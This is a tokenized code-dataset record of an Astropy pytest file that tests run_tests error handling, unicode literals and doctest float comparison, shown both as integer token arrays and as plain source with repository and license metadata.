17, 23174, 735, 267, 19009, 275, 664, 63, 28885, 360, 324, 6327, 471, 63, 4835, 17, 358, 272, 587, 26, 267, 5563, 275, 5737, 14, 1294, 360, 4268, 413, 2788, 16, 61, 267, 19009, 275, 664, 63, 28885, 8, 8833, 9, 339, 1471, 63, 873, 275, 19009, 14, 8833, 1137, 14388, 14, 8833, 272, 365, 63, 4525, 275, 19009, 14, 4712, 8, 2060, 12, 5737, 9, 272, 340, 18743, 436, 365, 63, 4525, 436, 1471, 63, 873, 26, 267, 18743, 8, 1773, 63, 2060, 9, 272, 372, 365, 63, 4525, 421, 199, 318, 1852, 63, 2060, 8, 2060, 12, 10105, 29, 403, 12, 19009, 534, 885, 735, 272, 408, 272, 16147, 282, 8971, 13, 505, 2505, 1901, 282, 2631, 367, 3050, 4887, 339, 14766, 465, 3752, 342, 1325, 12821, 282, 892, 2196, 10105, 14, 221, 982, 272, 2505, 365, 488, 503, 4596, 2066, 738, 1440, 51, 2617, 63, 9032, 911, 506, 272, 2138, 1314, 2153, 24077, 4676, 83, 14, 272, 408, 272, 340, 440, 2505, 26, 267, 372, 738, 1440, 51, 2617, 63, 9032, 339, 19009, 275, 664, 63, 28885, 8, 28885, 9, 272, 2505, 275, 11179, 63, 495, 8, 2060, 9, 339, 340, 440, 10105, 26, 267, 10105, 275, 19009, 14, 12597, 342, 272, 10105, 275, 11179, 63, 495, 8, 12597, 9, 339, 372, 19009, 14, 2143, 8, 2060, 12, 10105, 9, 421, 199, 318, 2248, 63, 31342, 8, 2060, 63, 31342, 29, 403, 304, 272, 2288, 7509, 31700, 272, 2288, 510, 19494, 7387, 63, 13533, 3452, 272, 2631, 1192, 275, 942, 272, 340, 440, 2505, 63, 31342, 26, 267, 2505, 63, 31342, 275, 2202, 14, 9032, 63, 13533, 31700, 272, 367, 4865, 315, 2505, 63, 31342, 26, 267, 862, 26, 288, 3413, 63, 515, 12, 843, 63, 354, 275, 4865, 14, 13490, 14078, 413, 9, 288, 3413, 275, 14802, 14, 646, 63, 578, 8, 1494, 63, 515, 9, 288, 19009, 63, 1886, 275, 2519, 8, 1494, 12, 843, 63, 354, 9, 267, 871, 334, 10227, 12, 3545, 12, 1722, 304, 288, 746, 11897, 480, 28885, 440, 1911, 26, 450, 83, 2, 450, 4865, 9, 267, 19009, 275, 19009, 63, 1886, 342, 267, 340, 440, 2519, 8, 28885, 12, 283, 8833, 735, 288, 746, 11897, 480, 28885, 3181, 1133, 4165, 376, 298, 4318, 298, 8833, 536, 26, 450, 83, 2, 450, 4865, 9, 267, 2631, 1192, 14, 740, 8, 28885, 9, 272, 7509, 31700, 275, 1211, 7694, 28885, 14, 8833, 12, 19009, 9, 367, 19009, 315, 2631, 1192, 566, 272, 510, 19494, 7387, 63, 13533, 3452, 275, 2631, 1192, 59, 16, 61, 421, 199, 318, 664, 63, 28885, 8, 8833, 534, 885, 735, 272, 408, 272, 1803, 376, 1256, 402, 282, 6511, 2505, 19009, 14, 339, 982, 5563, 365, 283, 885, 297, 314, 849, 19009, 911, 506, 2138, 14, 272, 961, 805, 911, 2597, 9617, 492, 2631, 1192, 2013, 315, 2195, 272, 2202, 570, 340, 4346, 14, 272, 408, 272, 340, 2688, 8, 8833, 12, 283, 8833, 735, 267, 372, 5563, 339, 916, 5563, 508, 283, 885, 356, 267, 340, 510, 19494, 7387, 63, 13533, 3452, 365, 488, 26, 288, 2248, 63, 31342, 342, 267, 372, 510, 19494, 7387, 63, 13533, 3452, 272, 587, 26, 267, 340, 7509, 31700, 365, 488, 26, 288, 2248, 63, 31342, 342, 267, 340, 5563, 440, 315, 7509, 31700, 26, 288, 746, 1722, 480, 5912, 2505, 25223, 5563, 1543, 83, 1370, 298, 2490, 298, 17366, 1265, 4165, 652, 315, 314, 21705, 5172, 63, 13533, 31700, 298, 2490, 298, 6031, 13472, 450, 5563, 9, 267, 372, 7509, 31700, 59, 8833, 61, 421, 199, 318, 3656, 63, 2227, 8, 2227, 12, 2498, 29, 22, 12, 1495, 32103, 2349, 272, 408, 272, 1803, 314, 1627, 2631, 12, 543, 1454, 314, 1642, 1124, 2384, 1040, 1329, 9164, 14, 710, 272, 4618, 787, 9742, 543, 1124, 1560, 1040, 367, 6391, 14872, 14, 272, 408, 272, 9742, 275, 2631, 1491 ]
[ 8337, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1208, 492, 14802, 199, 504, 1639, 14, 1208, 14, 23004, 492, 27432, 2141, 199, 504, 1639, 14, 1208, 14, 2991, 492, 11179, 63, 495, 199, 504, 1639, 14, 1018, 14, 3924, 492, 11897, 199, 504, 1639, 14, 1208, 14, 10316, 492, 334, 272, 10446, 28996, 18, 12, 4413, 63, 521, 63, 5785, 12, 664, 63, 2355, 63, 875, 9, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 63, 12921, 465, 485, 421, 199, 53, 1440, 51, 2617, 63, 9032, 275, 29376, 221, 327, 961, 911, 7078, 506, 282, 1686, 5737, 2631, 199, 13533, 31700, 275, 488, 221, 327, 29667, 3444, 6511, 687, 21705, 5172, 63, 13533, 31700, 199, 4225, 15849, 7387, 63, 13533, 3452, 275, 488, 221, 327, 4243, 370, 1642, 1242, 315, 21705, 5172, 63, 13533, 31700, 421, 199, 318, 365, 63, 2060, 63, 14418, 8, 8167, 304, 272, 372, 334, 8167, 365, 440, 488, 436, 5737, 1137, 738, 1440, 51, 2617, 63, 9032, 9, 421, 199, 318, 1104, 63, 2060, 8, 2060, 12, 5737, 12, 18743, 29, 403, 12, 14388, 534, 885, 735, 272, 408, 272, 1803, 282, 5046, 402, 3775, 314, 3066, 2505, 4450, 314, 7795, 272, 1777, 5737, 10017, 14, 339, 982, 18743, 365, 2013, 12, 652, 7171, 506, 2797, 1380, 1265, 1929, 370, 272, 30943, 314, 2505, 14, 272, 408, 272, 340, 440, 2505, 503, 440, 365, 63, 2060, 63, 14418, 8, 8167, 304, 267, 372, 756, 339, 14388, 275, 664, 63, 28885, 8, 17477, 9, 272, 3066, 63, 2060, 275, 2505, 272, 2505, 275, 11179, 63, 495, 8, 2060, 9, 272, 5737, 275, 11179, 63, 495, 8, 8167, 9, 339, 327, 1626, 559, 484, 5459, 402, 5634, 2737, 8971, 15830, 21, 19572, 436, 10226, 272, 327, 15830, 21, 19572, 543, 376, 2701, 10105, 14, 272, 340, 3666, 552, 8, 8167, 9, 508, 4337, 436, 25271, 440, 315, 5737, 9, 503, 288, 334, 552, 8, 8167, 9, 508, 6877, 436, 5737, 14, 2460, 360, 1064, 21, 23174, 1333, 304, 267, 19009, 275, 664, 63, 28885, 360, 324, 6327, 471, 63, 1064, 21, 358, 272, 327, 1626, 559, 484, 5459, 402, 5634, 10226, 12002, 17, 19572, 543, 376, 2701, 10105, 14, 272, 916, 822, 8, 8167, 9, 508, 12426, 436, 5737, 14, 2460, 360, 4835, 17, 23174, 735, 267, 19009, 275, 664, 63, 28885, 360, 324, 6327, 471, 63, 4835, 17, 358, 272, 587, 26, 267, 5563, 275, 5737, 14, 1294, 360, 4268, 413, 2788, 16, 61, 267, 19009, 275, 664, 63, 28885, 8, 8833, 9, 339, 1471, 63, 873, 275, 19009, 14, 8833, 1137, 14388, 14, 8833, 272, 365, 63, 4525, 275, 19009, 14, 4712, 8, 2060, 12, 5737, 9, 272, 340, 18743, 436, 365, 63, 4525, 436, 1471, 63, 873, 26, 267, 18743, 8, 1773, 63, 2060, 9, 272, 372, 365, 63, 4525, 421, 199, 318, 1852, 63, 2060, 8, 2060, 12, 10105, 29, 403, 12, 19009, 534, 885, 735, 272, 408, 272, 16147, 282, 8971, 13, 505, 2505, 1901, 282, 2631, 367, 3050, 4887, 339, 14766, 465, 3752, 342, 1325, 12821, 282, 892, 2196, 10105, 14, 221, 982, 272, 2505, 365, 488, 503, 4596, 2066, 738, 1440, 51, 2617, 63, 9032, 911, 506, 272, 2138, 1314, 2153, 24077, 4676, 83, 14, 272, 408, 272, 340, 440, 2505, 26, 267, 372, 738, 1440, 51, 2617, 63, 9032, 339, 19009, 275, 664, 63, 28885, 8, 28885, 9, 272, 2505, 275, 11179, 63, 495, 8, 2060, 9, 339, 340, 440, 10105, 26, 267, 10105, 275, 19009, 14, 12597, 342, 272, 10105, 275, 11179, 63, 495, 8, 12597, 9, 339, 372, 19009, 14, 2143, 8, 2060, 12, 10105, 9, 421, 199, 318, 2248, 63, 31342, 8, 2060, 63, 31342, 29, 403, 304, 272, 2288, 7509, 31700, 272, 2288, 510, 19494, 7387, 63, 13533, 3452, 272, 2631, 1192, 275, 942, 272, 340, 440, 2505, 63, 31342, 26, 267, 2505, 63, 31342, 275, 2202, 14, 9032, 63, 13533, 31700, 272, 367, 4865, 315, 2505, 63, 31342, 26, 267, 862, 26, 288, 3413, 63, 515, 12, 843, 63, 354, 275, 4865, 14, 13490, 14078, 413, 9, 288, 3413, 275, 14802, 14, 646, 63, 578, 8, 1494, 63, 515, 9, 288, 19009, 63, 1886, 275, 2519, 8, 1494, 12, 843, 63, 354, 9, 267, 871, 334, 10227, 12, 3545, 12, 1722, 304, 288, 746, 11897, 480, 28885, 440, 1911, 26, 450, 83, 2, 450, 4865, 9, 267, 19009, 275, 19009, 63, 1886, 342, 267, 340, 440, 2519, 8, 28885, 12, 283, 8833, 735, 288, 746, 11897, 480, 28885, 3181, 1133, 4165, 376, 298, 4318, 298, 8833, 536, 26, 450, 83, 2, 450, 4865, 9, 267, 2631, 1192, 14, 740, 8, 28885, 9, 272, 7509, 31700, 275, 1211, 7694, 28885, 14, 8833, 12, 19009, 9, 367, 19009, 315, 2631, 1192, 566, 272, 510, 19494, 7387, 63, 13533, 3452, 275, 2631, 1192, 59, 16, 61, 421, 199, 318, 664, 63, 28885, 8, 8833, 534, 885, 735, 272, 408, 272, 1803, 376, 1256, 402, 282, 6511, 2505, 19009, 14, 339, 982, 5563, 365, 283, 885, 297, 314, 849, 19009, 911, 506, 2138, 14, 272, 961, 805, 911, 2597, 9617, 492, 2631, 1192, 2013, 315, 2195, 272, 2202, 570, 340, 4346, 14, 272, 408, 272, 340, 2688, 8, 8833, 12, 283, 8833, 735, 267, 372, 5563, 339, 916, 5563, 508, 283, 885, 356, 267, 340, 510, 19494, 7387, 63, 13533, 3452, 365, 488, 26, 288, 2248, 63, 31342, 342, 267, 372, 510, 19494, 7387, 63, 13533, 3452, 272, 587, 26, 267, 340, 7509, 31700, 365, 488, 26, 288, 2248, 63, 31342, 342, 267, 340, 5563, 440, 315, 7509, 31700, 26, 288, 746, 1722, 480, 5912, 2505, 25223, 5563, 1543, 83, 1370, 298, 2490, 298, 17366, 1265, 4165, 652, 315, 314, 21705, 5172, 63, 13533, 31700, 298, 2490, 298, 6031, 13472, 450, 5563, 9, 267, 372, 7509, 31700, 59, 8833, 61, 421, 199, 318, 3656, 63, 2227, 8, 2227, 12, 2498, 29, 22, 12, 1495, 32103, 2349, 272, 408, 272, 1803, 314, 1627, 2631, 12, 543, 1454, 314, 1642, 1124, 2384, 1040, 1329, 9164, 14, 710, 272, 4618, 787, 9742, 543, 1124, 1560, 1040, 367, 6391, 14872, 14, 272, 408, 272, 9742, 275, 2631, 1491, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
AustereCuriosity/astropy
astropy/tests/tests/test_run_tests.py
2
1997
# -*- coding: utf-8 -*- # Licensed under a 3-clause BSD style license - see LICENSE.rst # TEST_UNICODE_LITERALS from __future__ import (absolute_import, division, print_function, unicode_literals) import doctest from textwrap import dedent import pytest # test helper.run_tests function from ... import test as run_tests from ... extern import six from .. import helper # run_tests should raise ValueError when asked to run on a module it can't find def test_module_not_found(): with helper.pytest.raises(ValueError): run_tests(package='fake.module') # run_tests should raise ValueError when passed an invalid pastebin= option def test_pastebin_keyword(): with helper.pytest.raises(ValueError): run_tests(pastebin='not_an_option') # TODO: Temporarily disabled, as this seems to non-deterministically fail # def test_deprecation_warning(): # with pytest.raises(DeprecationWarning): # warnings.warn('test warning', DeprecationWarning) def test_unicode_literal_conversion(): assert isinstance('ångström', six.text_type) def test_doctest_float_replacement(tmpdir): test1 = dedent(""" This will demonstrate a doctest that fails due to a few extra decimal places:: >>> 1.0 / 3.0 0.333333333333333311 """) test2 = dedent(""" This is the same test, but it should pass with use of +FLOAT_CMP:: >>> 1.0 / 3.0 # doctest: +FLOAT_CMP 0.333333333333333311 """) test1_rst = tmpdir.join('test1.rst') test2_rst = tmpdir.join('test2.rst') test1_rst.write(test1) test2_rst.write(test2) with pytest.raises(doctest.DocTestFailure): doctest.testfile(str(test1_rst), module_relative=False, raise_on_error=True, verbose=False, encoding='utf-8') doctest.testfile(str(test2_rst), module_relative=False, raise_on_error=True, verbose=False, encoding='utf-8')
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 3909, 1334, 282, 650, 13, 8501, 6289, 3449, 4190, 446, 1937, 5113, 14, 8332, 199, 199, 3, 7393, 63, 12819, 63, 21692, 51, 199, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 12, 586, 2649, 63, 5955, 9, 199, 199, 646, 8868, 199, 199, 504, 13390, 492, 22622, 199, 199, 646, 4613, 199, 199, 3, 511, 5922, 14, 1065, 63, 2219, 805, 199, 504, 2263, 492, 511, 465, 1255, 63, 2219, 199, 504, 2263, 21815, 492, 3816, 199, 199, 504, 2508, 492, 5922, 421, 199, 3, 1255, 63, 2219, 1077, 746, 1722, 1380, 20864, 370, 1255, 641, 282, 859, 652, 883, 1133, 2342, 199, 318, 511, 63, 578, 63, 1397, 63, 4214, 837, 272, 543, 5922, 14, 4462, 14, 3536, 8, 3393, 304, 267, 1255, 63, 2219, 8, 2491, 534, 3183, 14, 578, 358, 421, 199, 3, 1255, 63, 2219, 1077, 746, 1722, 1380, 3032, 376, 3866, 20901, 1393, 29, 945, 199, 318, 511, 63, 16586, 1393, 63, 6691, 837, 272, 543, 5922, 14, 4462, 14, 3536, 8, 3393, 304, 267, 1255, 63, 2219, 8, 16586, 1393, 534, 1397, 63, 290, 63, 1422, 358, 421, 199, 3, 3254, 26, 12540, 269, 11406, 6980, 12, 465, 642, 12237, 370, 2222, 13, 30709, 1183, 2449, 199, 3, 347, 511, 63, 15383, 63, 3764, 837, 199, 3, 258, 543, 4613, 14, 3536, 8, 15561, 304, 199, 3, 260, 3598, 14, 4050, 360, 396, 5721, 297, 13413, 9, 421, 199, 318, 511, 63, 2975, 63, 8939, 63, 15083, 837, 272, 702, 1228, 360, 30234, 2753, 495, 14614, 77, 297, 3816, 14, 505, 63, 466, 9, 421, 199, 318, 511, 63, 11390, 63, 1609, 63, 15895, 8, 8616, 304, 272, 511, 17, 275, 22622, 4852, 267, 961, 911, 23789, 18161, 282, 8868, 626, 6918, 7037, 370, 282, 9284, 2402, 6107, 267, 9825, 447, 953, 1306, 413, 14, 16, 1182, 650, 14, 16, 288, 378, 14, 15093, 15093, 845, 272, 7857, 339, 511, 18, 275, 22622, 4852, 267, 961, 365, 314, 2011, 511, 12, 1325, 652, 1077, 986, 543, 675, 402, 267, 435, 11783, 63, 23181, 447, 953, 1306, 413, 14, 16, 1182, 650, 14, 16, 221, 327, 8868, 26, 435, 11783, 63, 23181, 288, 378, 14, 15093, 15093, 845, 272, 7857, 339, 511, 17, 63, 8332, 275, 12885, 14, 904, 360, 396, 17, 14, 8332, 358, 272, 511, 18, 63, 8332, 275, 12885, 14, 904, 360, 396, 18, 14, 8332, 358, 272, 511, 17, 63, 8332, 14, 952, 8, 396, 17, 9, 272, 511, 18, 63, 8332, 14, 952, 8, 396, 18, 9, 339, 543, 4613, 14, 3536, 8, 11390, 14, 30311, 6782, 304, 267, 8868, 14, 21091, 8, 495, 8, 396, 17, 63, 8332, 395, 859, 63, 6188, 29, 797, 12, 586, 746, 63, 265, 63, 705, 29, 549, 12, 3376, 29, 797, 12, 2644, 534, 1624, 13, 24, 358, 339, 8868, 14, 21091, 8, 495, 8, 396, 18, 63, 8332, 395, 859, 63, 6188, 29, 797, 12, 2151, 746, 63, 265, 63, 705, 29, 549, 12, 3376, 29, 797, 12, 2644, 534, 1624, 13, 24, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 3909, 1334, 282, 650, 13, 8501, 6289, 3449, 4190, 446, 1937, 5113, 14, 8332, 199, 199, 3, 7393, 63, 12819, 63, 21692, 51, 199, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 12, 586, 2649, 63, 5955, 9, 199, 199, 646, 8868, 199, 199, 504, 13390, 492, 22622, 199, 199, 646, 4613, 199, 199, 3, 511, 5922, 14, 1065, 63, 2219, 805, 199, 504, 2263, 492, 511, 465, 1255, 63, 2219, 199, 504, 2263, 21815, 492, 3816, 199, 199, 504, 2508, 492, 5922, 421, 199, 3, 1255, 63, 2219, 1077, 746, 1722, 1380, 20864, 370, 1255, 641, 282, 859, 652, 883, 1133, 2342, 199, 318, 511, 63, 578, 63, 1397, 63, 4214, 837, 272, 543, 5922, 14, 4462, 14, 3536, 8, 3393, 304, 267, 1255, 63, 2219, 8, 2491, 534, 3183, 14, 578, 358, 421, 199, 3, 1255, 63, 2219, 1077, 746, 1722, 1380, 3032, 376, 3866, 20901, 1393, 29, 945, 199, 318, 511, 63, 16586, 1393, 63, 6691, 837, 272, 543, 5922, 14, 4462, 14, 3536, 8, 3393, 304, 267, 1255, 63, 2219, 8, 16586, 1393, 534, 1397, 63, 290, 63, 1422, 358, 421, 199, 3, 3254, 26, 12540, 269, 11406, 6980, 12, 465, 642, 12237, 370, 2222, 13, 30709, 1183, 2449, 199, 3, 347, 511, 63, 15383, 63, 3764, 837, 199, 3, 258, 543, 4613, 14, 3536, 8, 15561, 304, 199, 3, 260, 3598, 14, 4050, 360, 396, 5721, 297, 13413, 9, 421, 199, 318, 511, 63, 2975, 63, 8939, 63, 15083, 837, 272, 702, 1228, 360, 30234, 2753, 495, 14614, 77, 297, 3816, 14, 505, 63, 466, 9, 421, 199, 318, 511, 63, 11390, 63, 1609, 63, 15895, 8, 8616, 304, 272, 511, 17, 275, 22622, 4852, 267, 961, 911, 23789, 18161, 282, 8868, 626, 6918, 7037, 370, 282, 9284, 2402, 6107, 267, 9825, 447, 953, 1306, 413, 14, 16, 1182, 650, 14, 16, 288, 378, 14, 15093, 15093, 845, 272, 7857, 339, 511, 18, 275, 22622, 4852, 267, 961, 365, 314, 2011, 511, 12, 1325, 652, 1077, 986, 543, 675, 402, 267, 435, 11783, 63, 23181, 447, 953, 1306, 413, 14, 16, 1182, 650, 14, 16, 221, 327, 8868, 26, 435, 11783, 63, 23181, 288, 378, 14, 15093, 15093, 845, 272, 7857, 339, 511, 17, 63, 8332, 275, 12885, 14, 904, 360, 396, 17, 14, 8332, 358, 272, 511, 18, 63, 8332, 275, 12885, 14, 904, 360, 396, 18, 14, 8332, 358, 272, 511, 17, 63, 8332, 14, 952, 8, 396, 17, 9, 272, 511, 18, 63, 8332, 14, 952, 8, 396, 18, 9, 339, 543, 4613, 14, 3536, 8, 11390, 14, 30311, 6782, 304, 267, 8868, 14, 21091, 8, 495, 8, 396, 17, 63, 8332, 395, 859, 63, 6188, 29, 797, 12, 586, 746, 63, 265, 63, 705, 29, 549, 12, 3376, 29, 797, 12, 2644, 534, 1624, 13, 24, 358, 339, 8868, 14, 21091, 8, 495, 8, 396, 18, 63, 8332, 395, 859, 63, 6188, 29, 797, 12, 2151, 746, 63, 265, 63, 705, 29, 549, 12, 3376, 29, 797, 12, 2644, 534, 1624, 13, 24, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
